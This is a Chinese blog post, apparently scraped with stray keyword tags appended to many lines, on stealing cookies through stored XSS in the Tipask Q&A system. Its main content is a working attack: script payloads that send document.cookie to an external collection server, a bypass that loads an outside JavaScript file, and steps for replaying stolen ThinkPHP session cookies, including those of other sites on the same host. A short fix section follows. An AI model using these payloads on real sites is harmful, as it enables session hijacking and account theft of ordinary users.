【web安全】第一弹:利用xss注入获取cookie

首先必定要先来吐槽一下tipask系统。这是一枚开源的相似百度知道的系统,可是漏洞多多,最基本的XSS注入都没法防护。php

言归正传:html

【准备1】 cookie接收服务器。 平时喜欢用sae,因此在sae上写了一个get方法传值的页面,获取到的数据存储进数据库。chrome

数据表结构很简单thinkphp

 

其中time,ip,pre_url均可以没有。数据库

页面代码以下浏览器

实际应用像下面这样:php框架

访问连接:http://xxx.sinaapp.com/?cookie=xxxx;服务器

xxxx的内容就会自动存入数据库。cookie

【准备2】利用xss漏洞截取用户的cookieapp

输入内容

<script>window.location.href='http://xxx.sinaapp.com/cookie/?cookie='+document.cookie</script>

提交后发现没反应,审查元素:

<script>window.location.href='http://xxx.sinaapp.com/cookie/?cookie=' document.cookie</script>

发现代码被浏览器处理过了:把加号给过滤掉了。怎么处理呢?

答案是:引入外部js文件!!

仍是在刚才的文本框输入: 

<script src='http://xxx.sinaapp.com/js/test.js'></script>

js文件内容:window.location.href='http://xxx.sinaapp.com/cookie/?cookie='+document.cookie;

【Go!】

当用户访问被XSS注入的页面时,会自动引入test.js文件,这个文件里包含的js语句,会读取页面的cookie,而后访问一个get传值的页面,cookie就会自动存储到数据库中了~

【得到cookie以后】

win7下的cookie存储方式比较特别,xxxx.txt,根本分不清哪一个是哪一个,因而楼主给chrome浏览器装了个插件,EditThisCookie,能够在浏览器上对cookie进行读取,删除,修改操做。

tipask用了thinkphp框架,ThinkPHP保存cookie时有两个关键值,tp_auth和tp_sid,更新了这两个值就能获取登陆状态了。可是,咳咳,ThinkPHP框架把tp_auth的值设置了和IP绑定,因此即便你拿到cookie,若是cookie不匹配,也P用不中~可是,咳咳咳,此处获取的cookie可不仅tipask系统的cookie,而是tipask系统所在IP地址全部应用的cookie..好比说,xxx.xxx.edu.cn对应是dz论坛,xxx.xxx.edu.cn/zhidao对应的tipask,那么获取的cookie既有tipask的,也有dz论坛的。因此~

【xss注入初步解决方案】

1. 防止xss注入的原理,就是对用户输入的富文本进行html encode

PHP环境下处理函数以下:

function re_xss($list)
{
    if(is_array($list))
        foreach ($list as $key => $value) 
        {
            foreach ($value as $keys => $values) 
            {
                $list[$key][$keys]=htmlspecialchars($values);
            }
        }
    else
        $list=htmlspecialchars($list);
    return $list;
}

2. 防止cookie被窃取的原理,就是像ThinkPHP,把cookie和IP地址绑定,或者和其余惟一值绑定。

相关文章
相关标签/搜索